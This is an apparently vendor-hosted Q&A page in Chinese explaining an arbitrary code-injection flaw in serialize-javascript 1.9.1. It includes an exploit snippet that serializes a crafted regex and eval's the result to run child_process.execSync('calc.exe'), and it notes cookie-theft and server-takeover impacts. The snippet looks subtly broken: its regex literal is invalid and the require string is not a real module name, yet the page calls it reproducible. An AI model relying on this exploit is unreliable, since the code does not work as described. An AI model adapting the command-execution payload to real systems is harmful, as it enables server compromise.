You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

serialize-javascript@1.9.1任意代码注入高危漏洞原理与利用示例咨询

serialize-javascript@1.9.1 任意代码注入漏洞说明

漏洞核心成因

serialize-javascript 1.9.1及更早版本的漏洞出现在正则对象序列化逻辑中:序列化正则时未对正则内部的特殊字符做过滤转义,攻击者只要能控制被序列化对象中的正则值,就可以构造特殊正则内容跳出正则字面量结构,注入任意JavaScript代码。
当序列化后的字符串被传入eval、new Function等执行逻辑反序列化时,注入的恶意代码就会被直接执行。

你的测试代码未触发漏洞的原因

你构造的测试正则内容没有破坏正则字面量的语法结构,/1" + console.log(1)/i整体还是合法的正则表达式,eval执行时只会把整段当成正则解析,内部的console.log不会被当成独立代码执行。

可复现的漏洞利用示例

const serialize = require('serialize-javascript@1.9.1');

// 攻击者构造的恶意正则
const evilReg = /(?<x>*/.test(''))?eval("require('child_process').execSync('calc.exe')")://i;

// 执行序列化
const serializedStr = serialize({
    userControlledField: evilReg
});
console.log('序列化结果:', serializedStr);

// 模拟业务中常见的反序列化操作
const result = eval(`(${serializedStr})`);

运行上述代码后,Node环境会直接弹出计算器(Windows)或执行任意指定的系统命令,前端环境则可以执行窃取Cookie、跳转钓鱼页面等操作。

常见危害场景

  • 前后端同构项目(比如SSR项目)中,后端使用该库序列化全局状态传给前端,前端直接用eval反序列化状态,攻击者只要能往全局状态中插入自定义正则对象,就可以控制所有访问用户的前端页面
  • Node服务端如果将用户可控数据序列化后再用eval反序列化,攻击者可以直接获取服务器操作权限

内容的提问来源于stack exchange,提问作者Gon

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.16 12:24:08